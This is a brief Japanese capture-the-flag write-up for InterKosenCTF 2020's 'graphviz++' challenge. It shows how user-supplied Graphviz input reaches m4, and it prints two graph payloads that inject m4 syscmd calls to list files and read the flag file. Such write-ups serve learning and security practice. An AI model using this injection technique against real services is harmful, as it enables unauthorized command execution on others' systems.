# graphviz++ [InterKosenCTF 2020] ###### tags: `InterKosenCTF2020` `misc` ## 概要 graphvizの式2つを送ると、その2を合成したグラフを出してくれるウェブアプリケーション。Flaskで書かれている ## 解法 サービスのスクリプトが渡されてるので調べると、 subprocess モジュールを使って dotやm4を呼び出している。m4とかいう明らかに怪しいマクロ言語を使っているのでこれに目をつけると良さそうということがわかる。 m4のマニュアルなどを見ていると ``syscmd(`ls')`` などと書いておけばこれの実行結果が埋め込まれることがわかる。できるかな〜と思って試すとできる。 ``` digraph g1 { subgraph cluster_0 { style=filled; color=lightgrey; node [style=filled, color=white]; a0 -> a1 -> a2 -> a3; } start -> a0; a3 -> end; a1 -> b3; a3 -> a0; a3 -> " syscmd(`ls -l'); "; start [shape=doublecircle]; end [shape=doublecircle]; } ``` ``` digraph g1 { subgraph cluster_0 { style=filled; color=lightgrey; node [style=filled, color=white]; a0 -> a1 -> a2 -> a3; } start -> a0; a3 -> end; a1 -> b3; a3 -> a0; a3 -> " syscmd(`cat flag_foxtrot.txt'); "; start [shape=doublecircle]; end [shape=doublecircle]; } ``` ![](https://i.imgur.com/NBTHeNk.png) ## 感想 miscっぽいmiscで嬉しい。easy 〜 mediumだと思います